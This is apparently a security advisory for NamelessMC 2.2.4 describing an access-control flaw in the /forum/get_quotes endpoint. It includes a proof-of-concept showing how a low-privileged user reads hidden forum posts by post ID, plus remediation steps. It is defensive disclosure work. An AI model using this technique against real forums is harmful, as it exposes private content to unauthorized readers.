Authenticated users can read hidden forum posts through `/forum/get_quotes`

Summary

[modules/Forum/pages/forum/get_quotes.php](https://github.com/NamelessMC/Nameless/security/advisories/Nameless-2.2.4/modules/Forum/pages/forum/get_quotes.php) only checks whether the caller is logged in, then reads a post by attacker-controlled post ID and returns its content. The backend helper in [modules/Forum/classes/Forum.php](https://github.com/NamelessMC/Nameless/security/advisories/Nameless-2.2.4/modules/Forum/classes/Forum.php) does not enforce forum or topic ACLs. In contrast, the normal topic page in [modules/Forum/pages/forum/view_topic.php](https://github.com/NamelessMC/Nameless/security/advisories/Nameless-2.2.4/modules/Forum/pages/forum/view_topic.php) enforces forum visibility and view_other_topics.

Impact

Any low-privileged authenticated user can enumerate post IDs and read content from hidden, private, or staff-only forums.

Preconditions

• Low-privileged user member
• Hidden topic topic_id=2
• Hidden post post_id=2

PoC

1. Confirm the user cannot access the topic page normally:

docker exec -w /data nameless-224-php-1 php dev/scripts/request_runner.php \
  --uri='/forum/topic/2' \
  --session-id='mforum_hidden' \
  --session-json='{"2user":"memberhash1234567890abcdef","2token":"tok"}'

Observed result:

403 ... You do not have permission to view this page.

2. Query the quote endpoint with the same session:

docker exec -w /data nameless-224-php-1 php dev/scripts/request_runner.php \
  --uri='/forum/get_quotes?post=2' \
  --session-id='mforum_hidden' \
  --session-json='{"2user":"memberhash1234567890abcdef","2token":"tok"}'

Observed result:

{
  "body": "{\"content\":\"<p>TOP SECRET: hidden forum content<\\/p>\",\"author_nickname\":\"admin\",\"link\":\"\\/forum\\/topic\\/2\\/?pid=\"}"
}

Remediation

• Apply the same authorization checks used by view_topic.php
• Enforce topic/forum ACL validation before Forum::getIndividualPost() returns content
• Return a generic error for inaccessible posts instead of leaking body and author metadata